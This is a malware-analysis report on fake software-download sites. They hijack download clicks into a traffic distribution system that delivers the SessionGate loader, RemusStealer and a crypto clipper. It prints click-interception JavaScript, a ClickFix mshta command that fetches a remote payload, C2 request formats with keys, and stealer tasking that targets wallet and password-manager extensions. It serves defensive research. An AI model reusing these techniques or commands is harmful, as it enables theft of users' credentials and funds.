The key trick used on these fake websites is that the “Download” button can look legitimate even to a careful user. The page keeps the original href intact, often pointing to a real upstream destination such as a GitHub release, which means browser UI cues like the status bar on hover still show a plausible target.

Figure 4 – Hovering over the download button reveals the legitimate GitHub repository URL.

At the same time, once the user interacts with the page, the previously loaded CloudFront-hosted JavaScript can intercept the first eligible user interaction and hand it off to a Traffic Distribution System (TDS). The script contains multiple browser-side serving methods — alternative strategies for opening or navigating a tab/window to the TDS-controlled destination.

The default serving method is supplied in the configuration, while the browser-side runtime can still adapt locally based on factors such as browser family, mobile vs. desktop environment, frequency-capping state, and adblock-related logic. In practice, these methods differ mainly in how they preserve a browser-accepted, user-initiated opening opportunity and deliver the final TDS URL. The runtime includes several approaches, including calling a cached reference to window.open, using different primary events in different browsers, opening intermediate or temporary blank tabs that are later navigated to the final URL, or using a synthetic click on a dynamically created <a target="_blank"> element whose javascript: URL assigns window.location.href to the TDS URL.

For example, on desktop Firefox the runtime uses a capture-phase click handler; on desktop Chrome, the corresponding primary event is mousedown. The handler records the user’s intended destination if the interaction occurs inside a link, generates a TDS runtime URL, invokes the selected serving method, and then takes over the original interaction by calling preventDefault() to cancel the normal navigation and stopImmediatePropagation() to prevent other handlers from processing the same event.

A simplified version of the common event-wrapper logic is shown below. The exact invoke() implementation depends on the selected serving method.

const cachedOpen = window.open;

document.addEventListener(isChromeDesktop() ? "mousedown" : "click", (event) => {
  const method = currentServingMethod();
  if (!isEligibleClick(event.target)) return;

  const runtimeUrl = generateRuntimeURL({
    referrer: location.href,
    userDestination: extractClickedLink(event.target)
  });

  method.invoke(cachedOpen, runtimeUrl, event);

  event.stopImmediatePropagation();
  event.preventDefault();
}, true);

The routing logic is also gated by browser-side state and frequency caps, including values stored in localStorage. This creates a reproducibility trap: the first eligible click may route through the TDS chain, while refreshes, repeated clicks, or return visits can fall back to the original visible link target. The script also forwards the clicked link destination downstream, allowing the routing layer to know what the user appeared to be trying to open.

In other words, a click on what appears to be a legitimate link or download button can be converted into a navigation to a completely different URL controlled by the TDS.

window.addEventListener(browser.isChrome() ? "mousedown" : "click", function () {
  w = window.open("about:blank", /* ... */);
});

document.addEventListener("click", function (e) {
  const el = e.target.closest("a, button");
  if (!el) return;

  e.preventDefault();
  e.stopImmediatePropagation();

  window.g(/* ... */, selectedPostClickUrl);
}, true);

window.g = function(/* ... */, u) {
  w.location.href = u;
};

Real redirect chains: gating and branching outcomes

After the click handoff, the workflow becomes visible as a sequence of redirects. We observed numerous redirect chain variations. In many cases, repeated attempts to enter the TDS chain from the same IP address resulted in downloads of benign software (for example, the Opera browser). Some chains ended with the delivery of unnecessary, yet non-malicious, browser extensions.

At the same time, other redirect paths ultimately led to the download of malware.

Figure 5 – Some of the observed redirect chains across the TDS infrastructure.

In all of our experiments, the browser was first redirected to a post-click redirector:

oundhertobeconsist[.]org/<token>

However, this domain is not hardcoded in the page or the scripts. It is supplied dynamically through the decoded stage configuration delivered from CloudFront, together with other campaign parameters.

A decoded configuration block observed in multiple cases contained:

{
  "tagId": 1230479,
  "redirectorDomain": "oundhertobeconsist.org",
  "pixelDomain": "ukentaspectsofc.org",
  "capPerDomain": 2,
  "capPerUri": 1,
  "intervalBetweenPops_ms": 60000,
  "resetInterval_sec": 43200,
  "extraCloudFront": "//d2f5h9m0jmnhjh.cloudfront.net",
  "namespace": "xcvmsbcmxa"
}

The redirector then forwarded the browser along one of several possible branches. Some of the observed variants include:

  • In one family of redirect chains, users were sent directly to an offer wall / content locker (unlockcontent.org), which may result in affiliate-tagged downloads of legitimate software or potentially unwanted applications (PUA).
  • In another family, users were redirected into a multi-gate chain (trkscope[.]xyz, file-enter-web[.]com) before reaching the final delivery infrastructure.

The multi-gate path introduces a second branching point after the anti-bot gate (file-enter-web[.]com). From there, sessions can be routed either to a download gate with direct archive delivery (media.stellarcloudhub1[.]cfd, arch2.maxdatahost1[.]cyou) or to a different gated path that bridges to external hosting platforms (observed ending at mega.nz).

The specific redirect path appears to be influenced by multiple factors, including the user’s country, browser type, VPN usage, client fingerprint, click context, and the original entry domain.

SessionGate: From “Benign Installer” to a Gated, Multi-Stage Framework

We have uncovered several malware families as the final payload, including RemusStealer and AnimateClipper, however, one that stood out was a previously unknown malware we named SessionGate.

SessionGate case drew our attention not only because of its multi-stage delivery chain and extensive validation logic, but also due to a rather unusual anti-analysis approach. Combined with the TDS-side gating, it makes obtaining the final payload extremely difficult for analysts.

VirusTotal telemetry indicates broad reach for this branch. Individual samples associated with SessionGate family were submitted thousands of times, with some reaching approximately 2,000 to 3,500 submissions. The observed submission and lookup activity was distributed globally, with especially notable visibility in Turkey, Poland, Brazil, Germany, France, Russia, and the United Kingdom.

Figure 6 – VirusTotal telemetry (submissions and lookups) for an SessionGate sample.

We believe the TDS chain includes a backend service that “registers” the victim’s IP address, after which the victim must traverse the entire redirect path end-to-end. The payload delivered at a later stage appears to be unique per client, generated server-side for each session, and intended for one-time execution. The embedded modules within that payload are encrypted, and the decryption key material is produced based on data provided by the C2 server only once for that specific sample. As a result, a complete decryption and analysis is only possible if the researcher’s environment does not raise suspicion at any stage, and the analyst manages to fully intercept and decrypt all relevant traffic.

In addition, each stage employs obfuscation techniques that effectively undermine static analysis tooling (disassemblers and decompilers) and can even hinder AI-based reverse-engineering agents.

The figure below schematically illustrates the delivery sequence, C2 communication, and the module decryption flow.

Figure 7 – PUA branch infection chain

We identified two landing pages that initiate the download of samples belonging to this family:

originaldownloads[.]info
getfluxfile[.]com

The landing pages look as follows:

Figure 8 – Two landing pages observed delivering SessionGate samples.

Each landing page generates a short-lived, unique payload download URL per client session, bound to the client’s browser and IP address. Examples of generated URLs include:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.html?utm_source=partner_consent
https://s3.us-east-2.amazonaws[.]com/activeslatnascdngetrcv/wstq162fmo/SetupFile_839132.html?utm_source=partner_consent

The HTML page contains obfuscated JavaScript that performs a server-side validation step (performed by

https://javascriptapiusa[.]com/lic?) before allowing access to the payload. The payload is then downloaded using the same name but with .exe extension, for example:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.exe

As observed, different S3 buckets may be used. Below are some of those identified by us between January and March 2026:

["activeslatnascdngetrcv", "globalhasigasnaledsftwre", "marketstagofortdas", "activesltnascdngetrcv", "globalhsigasnaledsftwre", "dimarketorotacti", "softmakreplnt", "softmakreplntl", "activemktsolution", "dimarketorotactis", "signedmarkeotk", "marketstgofortdas"]

Downloader with a built-in decoy: embedded 7-Zip SFX content

The loader contains an embedded 7-Zip archive, and it can pivot to a benign installer experience when its gated delivery path does not proceed.

This decoy design matters operationally: analysts and automated sandboxes often observe a “normal installer” UI, while the malicious delivery chain remains gated.

One of the first red flags is that the downloaded archive is about 20 MB, yet it contains a file of only 15 MB. The remaining ~5 MB consists of heavily obfuscated loader code.

Figure 9 – The contents of the SFX archive.

Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated. This alone significantly complicates analysis, as it can break parts of common tooling, including IDA’s decompiler and even graph mode. Some functions exceed 500 KB in size.

In addition, encrypted string blobs are placed directly inside function bodies after conditional branches (opaque predicates). This causes disassemblers to misinterpret the string data as executable code, which further disrupts analysis and can prevent tools from correctly identifying function boundaries in the first place.

Figure 10 – Bogus math, opaque predicates and encrypted strings in the analyzed samples

However, this obfuscation method is very characteristic and follows the same patterns, allowing for easy identification of other samples of this family.

The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services, but the service names are not stored plainly. Instead, it compares Adler-32 hashes against constants, effectively hiding the indicator list.

The identified service name indicators include:

  • eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon
  • npf, npcap, sysmondrv

In addition to services, the loader also enumerates running processes (Toolhelp-based scanning). Here too, the indicators are not kept as plaintext: they are compared via hash-based logic (SHA1 table approach), again reducing the value of simple string hunting.

Finally, the loader checks system context such as:

  • Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
  • Windows “Enterprise” edition detection (by inspecting the ProductName string)

Taken together, these checks ensure that malicious activity is only launched on systems where it is most likely to go undetected.

Stage 1: The Loader’s C2 – Multi-Step “Check-in” With Gating

Once executed, the loader attempts to contact its C2 and perform several check-in steps before it tries to retrieve the next-stage payload.

In the campaigns we analyzed, one observed C2 domain was:

  • appfreshstart[.]com

We also observed related campaigns using domains such as:

  • appgetonline[.]com
  • webinnosetup[.]com
  • appmakingcenter[.]com

The loader’s C2 requests use a distinctive URL structure consisting of multiple path segments and a query suffix, and uses a specific User-Agent string NSIS_InetLoad (Mozilla). The pattern looks like:

https://<c2>/<tokenA>/<tickA>/<tokenB>/<tickB>?<sig16><timestamp>

The values in the <tokenX> fields are stored enrypted in the sample and are unique per campaign. They are also used to identify specific stages, for example:

  • check-in;
  • check-in after privilege elevation;
  • payload request.

When constructing the URL, the loader incorporates random tick-derived values, a timestamp, and a signature calculated as SHA1({base_path}/{timestamp}/{salt}), where salt is a shared secret known to both the sample and the server.

In the analyzed sample, salt = "118107B05C590076239FF759CD9E5".

Example request:

GET https://appfreshstart.com/06A3AEF73537C68C/00507206521/26203FA83EC99DDE/77035662512?FF584F0057B9F6F81770356625 HTTP/1.1
Host: appfreshstart.com
User-Agent: NSIS_InetLoad (Mozilla)
Accept: /

For check-in requests, the server responds with a hex string. The loader then sums all decimal digits in that string. If the resulting value is even, execution is aborted.

We observed this behavior when attempting to download the payload again from the same IP address, and also when the sample was obtained outside of the intended TDS chain.

Using a similar request structure, but with different tokenA and tokenB values, the loader requests the next-stage payload from the server. At this step, the server can also block delivery: in our experiments, we occasionally received an empty response. In some campaigns, the payload was additionally encrypted.

We observed multiple variants of the loader. In some cases, the downloaded payload was executed directly from memory, while in others it was written to disk. For disk-based execution, the loader creates a temporary directory and file under %TEMP%. The downloaded file is then launched with two command-line arguments, for example:

"<tmp_filename>.exe" 5568725089114413 DNQ5q9t4mVzASXrJMqVsA6/rjdVV12bOaI7kXqemD9uW/eqleH0aqGh/0glYQt1yrXQjkwN7Bm+PzpsNT/VljVIG7R0Kldo/aFDkzhed2jaSbLtANScmGWkY/wSKVVqUVxwlfJQT4D+S6GD4EnFjet8pp1lEWXl+Vg4QY/Wwz5I=

Stage 2: One more 7-Zip SFX archive with a decoy

The second-stage binary is another large Windows GUI executable (usually up to 10MB) that impersonates a legitimate 7-Zip SFX installer. Its string-encryption and code-obfuscation style is highly consistent with other samples in the same delivery framework.

Notably, it contains a PDB path: D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb. We used this artifact for pivoting and found 200+ similar samples on VirusTotal, with the earliest ones appearing in late August 2025.

On launch, the sample checks its command line: the first argument must look like a numeric token, and the second must look like a base64 string. The base64 blob is then further decrypted and validated by an embedded module (described later). If the checks fail, the sample falls back to the benign 7-Zip SFX behavior, showing a normal “installer/extractor” flow.

Figure 11 – Very low VT detection rate of the 2nd stage payload samples.

When the gate passes, the binary reads its own on-disk image, extracts two embedded DLL payloads, and decrypts them using AES-CBC. The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.

  • DLL #1 is decrypted first using a key derived locally:
    • key1 = SHA256("WDNkCQnmXc" || tail32) where tail32 is a 32-byte slice from the loader’s file image.
  • After mapping DLL #1, the loader resolves and calls an export named c1, passing the loader’s own SHA-256 hash (uppercase hex string) and an output buffer.
  • The output of c1, combined with a second hardcoded string constant, is used to derive the key for DLL #2:
    • key2 = HEX_UPPER(SHA256("webh5vnGVew" || c1_output))
  • The loader then decrypts and maps DLL #2 the same way and calls its exported entry point (observed as mainFunc), passing through the original command-line arguments.

However, we encountered major problems while decrypting DLL #2. The problem is that the output of function c1 is not static, but depends on the data returned by the C&C server.

DLL #1 – “Key Broker” module

After the stage-2 SFX loader decrypts and maps DLL #1 in memory, it resolves and calls an exported function named c1. From the loader’s point of view, DLL #1 acts as a key broker: it performs strict gating based on the process command line, contacts a dedicated “CRC” C2 endpoint, transforms the server response into a short token, and returns it to the loader. The loader then mixes this token with a hardcoded value to derive the AES key material for decrypting DLL #2.

Command-line gating

First, the module performs the same command line check as the parent executable: the first argument must look like a numeric token, and the second must look like a base64 string.

Then it decodes the base64 string from the second command line argument using AES-256-CBC with a fixed hardcoded key BFEA4EE8EF934BE7A2B4C64A0BAD1E92 (32 bytes; not hex-decoded) and a zero IV.

It skips the first 32 bytes and treats the remaining bytes as a UTF-16 string. In the samples we analyzed, this string holds a path-like marker such as:

C:\\Users\\user\\Desktop\\SetupFile_411815.exe

The decrypted value is then validated by checking the filename suffix pattern: the filename must contain an underscore followed by 3-10 lowercase alphanumeric characters, and end with an extension (e.g., _411815.exe). This check is important operationally: it prevents the module from functioning correctly when executed outside of the intended delivery flow. If any of these checks fail, the DLL exits early and returns no usable output, that leads to the loader’s “benign SFX fallback” flow.

In addition to command-line gating, DLL #1 runs lightweight anti-analysis checks. In particular, it checks the local environment against hardcoded blacklists derived from:

  • SHA-256 of the current username and computer name, and
  • MD5 hashes of ntdll.dll export names (a common way to detect non-standard runtime environments such as emulation layers or heavily instrumented sandboxes).

When any blacklist condition matches, the module aborts before contacting its key server.

Key request: C2 receives the loader’s hash, returns per-build token material

If the gate passes, DLL #1 contacts a dedicated “CRC” C2 domain (observed variants include):

  • yourfastcrc[.]com
  • mobileversioncrc[.]com
  • webcrcprove[.]com
  • integritycrc[.]com

The request follows a consistent pattern:

https://<crc-domain>/check_version?version=<hash>

The value passed in version= contains the uppercase SHA-256 hex hash of the stage-2 loader itself and is provided by the stage-2 loader when calling c1.

The C2 response is a short ASCII string, for example:

qWTL9kRfF3ndz5UGs3jPWsriG4yFfRnvZxffshBIunIBDFwVfgGbGFUjpTJaFwBB

DLL #1 uses the first 64 characters and performs a deterministic transformation to produce a 32-character base62 token, which it returns to the loader via the output buffer. For the example above, the resulting value is:

q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA

The loader then combines this c1 output with a hardcoded constant to derive the AES key material for DLL #2.

Implication: per-client, one-time keys and strong server-side gating

In controlled experiments, we repeatedly observed that the “CRC” C2 endpoint can return different values across requests for the same version=<hash>. This behavior aligns with the broader design of the campaign:

  • The stage-2 payload appears to be generated per client session, and
  • DLL #2 cannot be decrypted unless the correct c1 output is obtained for the matching build.

Based on traffic captures and repeated retrieval attempts, our working assessment is that the “CRC” C2 likely implements one-time key release semantics and additional gating tied to victim context, such as the originating IP address / session state. In practice this means:

  • the correct key material may be released only once for the intended victim session, and
  • subsequent requests (or requests from a different IP) may be answered with a valid-looking but non-functional random string, causing the stage-2 loader to decrypt DLL #2 into garbage rather than a valid PE image.

This design significantly complicates research. Even when an analyst captures a full redirect chain and obtains a sample quickly, the server-side constraints can prevent reliable reproduction of the key exchange needed to decrypt and analyze the final payload (DLL #2).

DLL#2 – Decrypted Payload: The “Installer/Offer Framework” Module

After we succeeded in capturing a clean end-to-end delivery run and decrypting the embedded modules, we obtained a second-stage DLL that implements the real business logic: tracking, configuration retrieval, payload selection, download, and silent execution.

This section describes that decrypted module and its capabilities.

In this sample, we observed the same code patterns and obfuscation techniques as in all previously analyzed modules, which clearly indicates that they belong to the same malware family.

The decrypted payload is best described as a network-controlled installer/bundler framework. It is designed to look and behave like a legitimate installer when observed superficially, while quietly performing a server-driven download-and-execute workflow in the background.

Importantly, we did not observe stealer or RAT behavior in this module: there is no evidence of credential theft, browser database scraping, keylogging, or interactive remote control. Instead, the module is intended for configurable delivery (server-controlled payload URLs), and silent installation of additional software.

From a defensive perspective, this still makes it high-risk. Any component that can fetch configuration from a remote server and then download and execute binaries on demand is a delivery primitive that can be abused to distribute malware.

A quick map of the core workflow

At a high level, the DLL implements the following pipeline:

  1. Build encrypted request.
  2. Retrieve encrypted config from C&C server (appmakingcenter[.]com in the analyzed sample).
  3. Decode config into key/value table, fetch download URL.
  4. Download payload.
  5. Execute silently via cmd.exe .
  6. Send telemetry/tracking events

The implementation is structured around a small set of reusable building blocks:

  • an encrypted “panel protocol” over HTTPS,
  • a configuration decoder and parser,
  • downloaders,
  • a silent process launcher,
  • multiple tracking/telemetry helpers.
Figure 12 – C&C domain, and endpoints in the decrypted strings.

What software does it appear to install?

The decrypted module contains many product-facing strings (installer UI text, product names, and expected post-install executable paths under AppData\\Local\\Programs\\...). At first glance, this looks like a hardcoded “bundle portfolio” (PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch). However, as we described above, the DLL is a multi-product installer shell driven by server configuration, not a collection of fixed download links.

Figure 13 – The list of products that can be installed.

Concretely, the module retrieves an encrypted backend configuration, decodes it into an internal key/value table, and then:

  • uses a numeric product identifier from the table (config key 22) to select which product branding/UI texts to display, and which expected executable path to use for post-install launch (via CreateProcessW);
  • uses a download URL from the same table (config key 11, PRODUCT_DOWNLOAD_URL) as the input to its WinINet downloader.

This design explains why you can see many product names and installation paths in the DLL while not seeing their download URLs as plaintext: the URLs are supplied dynamically by the backend.

Finally, if the backend config is missing key 11, the parser initializes PRODUCT_DOWNLOAD_URL to a hardcoded 7-Zip installer URL (https://www.7-zip.org/a/7z2301-x64.exe), which can be overridden by a full server response.

Case 2: RemusStealer

In the second case we analyzed, the TDS redirection chain ends with a landing page that provides a link to download a password-protected ZIP archive and the password required to open it.

Figure 14 – Link for downloading a password protected archive.

The archive is approximately 14 MB, but after extraction it contains a single executable whose on-disk size is about 850 MB. The file is artificially inflated by large zero-filled padding: the actual non-zero content is roughly 32 MB once the padding is removed.

This inflation is a practical evasion technique. Oversized binaries can slow down or break automated processing (static unpacking, AV scanning pipelines, sandbox analysis) and can also bypass tooling or policies that impose file-size limits or timeouts during analysis.

The executable itself is a first-stage loader written in Go. It contains an embedded malicious payload in .rdata that is decoded at runtime using a simple transform, and is executed via manual PE mapping.

Payload: Remus Stealer

The embedded second-stage payload is a C2-controlled infostealer marketed as Remus (a MaaS stealer). The first public listing we observed for “Remus” was posted on a Russian-language underground forum by a user named RemusStealer on February 12, 2026.

According to the vendor advertisement, Remus is positioned as a subscription product (two tiers advertised at $250 and $500) with a focus on broad browser and extension collection, a custom exfiltration protocol with encryption, and heavy use of low-level OS interaction (“system calls”).

Figure 15 – RemusStealer panel screenshot (from Remus ads)

RemusStealer implements the following functionality:

  • C2-driven collection (“tasking”): the server defines what is collected per run by sending encrypted JSON tasks; multiple tasks can be executed sequentially until the server signals completion.
  • Browser data theft:
    • Chromium family: History, Login Data, Login Data For Account, Network\\Cookies, Web Data
    • Firefox/NSS profiles: key4.db, cert9.db, cookies.sqlite, logins.json, formhistory.sqlite, places.sqlite, prefs.js, extensions.webextensions.uuids
    • Chromium key material: extracts the master key from Local State via DPAPI (CryptUnprotectData) and uploads it as a separate /Key artifact.
  • Extension-driven theft: the server can pass an explicit list of extension targets (extensions[] objects with {name, path}), allowing selective collection.
  • File system search + exfiltration: server-controlled search rules (path, mask, depth, size limit, link handling) with %ENV% expansion (e.g., %APPDATA% paths).
  • Registry reconnaissance: server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
  • Clipboard theft: captures CF_UNICODETEXT, exfiltrated as Clipboard.txt (collected once per run).
  • Screenshot capture: supported and exfiltrated as Screenshot.bmp when enabled by an internal flag (not unconditional in this build).

Operationally, this architecture gives the operator fine-grained control over collection scope. For example, the backend can define which browser extensions to target, which file name patterns to search for, which registry values to query for environment profiling, and so on.

Tasking protocol overview

The binary contains an encrypted C2 list that is decrypted at runtime. In the analyzed sample, the decrypted C2 endpoints were:

  • http://buccstanor[.]pics:28313 (primary)
  • http://baxe[.]pics:48261 (fallback)

The stealer polls the C2 using HTTP POST requests that include an access_token and an incrementing step counter. The requests use a Firefox browser User-Agent string, to blend in with normal browser traffic:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 56
Host: baxe.pics:48261

access_token=57fe0587-863c-432d-9f4b-bf785a9560e8&step=1

Each server response is an encrypted JSON object with keys:

  • type — numeric command type (parsed as a number and used as an integer selector)
  • data — command parameters (object or list, depending on type)
  • name — base64 string used by type=0
  • extensions — list of {name, path} objects used by type=3 and type=4
{
  "type": <number>,
  "data": ...,
  "name":"<base64>",
  "extensions": [ {"name":"...", "path":"..."}, ... ]
}

Task responses are delivered as encrypted JSON. After decoding, entries resolve into a label and extension identifier, with occasional control flags (sync, indb) used by the malware logic.

A decrypted example task instructing the stealer to collect Chrome browser extension data looks as follows:

{
  "type":3,
  "extensions": [
    { "name":"Password Managers/1Password", "id":"aeblfdkhhhdcdjpifhhbdiojplfjncoa" },
    { "name":"Password Managers/Bitwarden", "id":"jbkfoedolllekgbhcbcoahefnbanhhlh" },
    { "name":"Wallets/MetaMask", "id":"nkbihfbeogaeaoehlefnkodbefgpgknn", "indb":true },
    { "name":"Wallets/Phantom", "id":"bfnaelmomeimhlpmgjnjophhpkkoljpa" },
    { "name":"2FA/Authy", "id":"gaedmjdfmmahhbjefcbgaolhhanlaolb" }
  ]
}

Notably, the identifiers are not limited to Chrome Web Store-style IDs: the list also contains email-like IDs (e.g., webextension@…) and GUID-style identifiers, suggesting the operator’s targeting list is designed to cover multiple browser ecosystems and packaging schemes.

The agent executes tasks in a loop until the server returns a stop command.

Implemented commands

Task typePurposeExpected fieldsWhat the stealer does
0File-system search + exfiltrationdata contains: path, mask, depth, size, link; plus top-level name (base64 label). path supports %ENV% expansion.Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
1Reserved / no-op (this build)type onlyNo task handler is executed. The agent performs only the standard loop housekeeping and proceeds to the next step.
2Registry reconnaissance (arbitrary value queries)data is a list of objects with: path, value, nameOpens keys via native NT registry APIs, queries requested values, retries using an alternate WOW64 view when needed, supports HKCU-relative paths, and returns results as labeled artifacts.
3Chromium-oriented collection + extension-driven logicUses extensions ({name, path}) and additional control flags from data (e.g., history, plus short flags observed as indb/sync).Collects Chromium artifacts (History, Login Data, Cookies, Web Data), extracts key material from Local State via DPAPI (CryptUnprotectData), and uploads the decrypted blob as a /Key artifact.
4Firefox/NSS profile discovery + profile theftUses extensions ({name, path})Searches for profile directories by checking for \\key4.db; when found, collects the Firefox/NSS artifact set (including key4.db, cert9.db, cookies.sqlite, logins.json, places.sqlite, prefs.js, extensions.webextensions.uuids) and uploads them.
5Stop / end of taskingtype onlySignals completion: the agent exits the task loop and proceeds to its post-task upload sequence before terminating.

Targets: crypto wallet, password managers, 2FA extensions

In the captured C2 traffic, the stealer received a list of 332 browser extension identifiers in encrypted task responses.

The targeting is heavily skewed toward cryptocurrency wallets and credential/secret storage:

CategoryUnique targetsWhat’s at risk (high level)
Wallets220Wallet extension state (accounts/addresses, encrypted vaults, session artifacts; exact contents depend on the wallet)
Password Managers77Password manager extension data (vault metadata, sessions, potential export artifacts depending on product/state)
2FA / TOTP18OTP/2FA companion extensions and related data (e.g., seeds/exports if present)
Notes11Notes/clipper extensions (note content, clip data)
Payments6Payment/checkout extensions (session / account-related artifacts)

Representative high-signal targets from the decoded list include:

Password managers: 1Password, Bitwarden, LastPass, Dashlane, Keeper, RoboForm, NordPass, Proton Pass, KeePassXC, Zoho Vault

Crypto wallets: MetaMask (multiple identifiers observed), Rabby Wallet, Coinbase Wallet, Trust Wallet, OKX Wallet, Binance Wallet, Bitget Wallet, Phantom (Solana), Solflare Wallet (Solana), Keplr / Cosmostation / SubWallet (Cosmos/Substrate ecosystems), TronLink, Exodus, Ronin Wallet, Tonkeeper / MyTonWallet, Yoroi (Cardano), UniSat Wallet (Bitcoin ecosystem), Suiet (Sui) / Pontem (Aptos)

2FA: Authy, 2FAS, multiple “Authenticator / TOTP / Web2FA” extensions.

Case 3: ClickFix, and a Crypto Clipper with On-Chain C2 Resolution

In this TDS branch, the user is ultimately led to a ClickFix-style phishing page (processing-in-progress-x4.t3.storage[.]dev), after which the infection chain proceeds to silently install a cryptocurrency clipper malware that some vendors identify as AnimateClipper.

Figure 16 – A phishing page using the ClickFix technique to trick the victim into silently running a malicious downloader.

The page that imitates a Cloudflare verification screen and instructs the user to run:

C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z

mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.

The object fetched from https://185.0xA1.0xFB[.]58/navy.7z is not a normal 7-Zip archive. Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes. The appended archive content is benign decoy data and does not participate in the infection chain.

The VBScript retrieves the next stage from:

http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf

Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.

That stage then downloads:

https://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf

This file also does not match its extension. In the observed chain, it is a ZIP archive containing a bundled Python environment, third-party libraries, Node.js modules, and a large heavily obfuscated Python script stored in node_modules.asar. Despite its name, node_modules.asar is not an Electron ASAR archive, but a Python loader disguised to blend in with the package contents.

The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave. In the sample we analyzed, the shellcode is executed in-process, inside the current bundled Python interpreter.

Once running, the shellcode acts as an in-memory loader for the next stage. It decrypts and decompresses an embedded payload container and manually maps the resulting PE payload into the same process memory. In other words, node_modules.asar is not a passive archive or Electron artifact, but the actual Python-based launch stage that executes shellcode and hands off execution to the next payload without writing the unpacked PE to disk.

Final payload: crypto clipper with on-chain C2 resolution

At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings, identifies the wallet format locally, replaces the copied address with one of multiple attacker-controlled wallet addresses embedded in the sample, and writes the modified value back to the clipboard. In practice, this means a victim can copy a legitimate wallet address, paste it moments later, and unknowingly send funds to the attacker instead.

When executed, AnimateClipper first resolves its C2 by querying a smart contract over the public BNB Smart Chain Testnet JSON-RPC endpoint. The sample issues the following request:

POST https://data-seed-prebsc-1-s1.binance.org:8545/
{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x6936edc505501EBB2F202C985a021a06f1c10C9E","data":"0x3bc5de30"},"latest"]}

At the time of our analysis, the contract response resolved to the C2 domain:

kr.hugo-lapp.co

The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins and a second request format intended to report address-replacement activity. The replacement wallets themselves are fully embedded in the binary.

The hardcoded replacement addresses observed in the analyzed sample include:

0xA1E50DaF64fb2B342A64d848E396700962acC2d0
1PbWWqgKDBDorh525uecKaGZD21FGSoCeR
31kwGkJP9xM26cnQJLpe1CH6pjSt4DEDz2
32Epo1K92Xzo6Hayq1Fmkj21x4fUk7JZT7
bc1qcg5sx6a6evx5ls4gj6nh8d0jtamh89n2y473dr
bc1pqn73hlel3mmnza0kfl2alwkkgkapeeknufgtysll8fs2z4umdf0qpvus9q
ltc1qk437ykzdxms9k9wh5vhd7aalsv0tfx6r39rrtv
LV9AYZKQEg891crnof7PFK6u77noVM4Y45
MG1FerSxboiwjhvU2cv4n34pXz5FpC88p4
TNf4nzc6x6fZrBMLMaZZGV1SbCjShDqbaQ
r9yMnTm4NSzvG9rrwjM2ec8xZgh1cafXH8
cosmos1k5xu6njlc90r92gdwvtfjh826jduw7ptmry0q8
UQDvDUxFShoWWbHougyHjr0tFz3E38fX8e0bnTUpya-P0mXW
DH9W9S6mSSBsGeiSstgsGdiREZupQbZf9C
RRkUSs6V3Eu6gxjGDbGzcS99F5WyKtggsw
XvUreW3ZjMcDuMTowd1BZsK9CYJdk7eKJw
RMh4hfsi84LdbS4uS3jaSaNccc8kartkDJ
XALFSI6ETIZJH2N5CFT2CFOKPFDVDTZUVR7Q3L26UG74SWYGMY6X7MA46Q
XpY2GAXeKJwxSqF87BbPzD68Woy5trj8iKS1PPM
EME9M9cSy9FvfHvcx2gMPkp1H5Dj4YaKufPRsAyon8Tf
qphu2urfykunh5l42retl4aqw6xnfjkyjvcy6gjqrs

We also reviewed incoming transactions to the wallet addresses embedded in this sample. In the dataset we analyzed, the earliest inbound payments were recorded in July 2025, with the first observed transaction dated July 12, 2025. This indicates that the operation has likely been active for a prolonged period and suggests that the TDS-driven infection chain we observed may be only one of several distribution paths used to deploy the malware. While the observed on-chain inflows are modest, they nevertheless show that the embedded wallets received real funds.

Conclusion

This campaign is a reminder that “looking official” is not a meaningful security signal. The entry sites mimic legitimate open-source project portals, preserve real GitHub links to pass quick visual checks, and then use click interception to route the first download click into a gated TDS stack. From the user’s perspective, the path is deceptively simple: top Google result, polished “project” site, download. Under the hood, that single click can become a non-deterministic redirect chain that the victim never agreed to and cannot easily audit.

One of the most striking aspects of the campaign is the SessionGate branch used to deliver PUA. Its combination of server-side registration, one-time-style key release, per-session payload generation, and heavy obfuscation goes far beyond what is typically seen in commodity bundler chains. In practice, these counter-analysis measures make even obtaining the final payload unusually difficult for researchers. While such aggressive gating likely reduces overall delivery efficiency, at this campaign’s scale it is a rational tradeoff for the operators: it also reduces analyst visibility, delays detection, and helps the activity remain under the radar for longer. This is reflected in public telemetry — despite thousands of VirusTotal submissions for the initial loader and hundreds of related intermediate samples, we did not identify the final payload on VirusTotal.

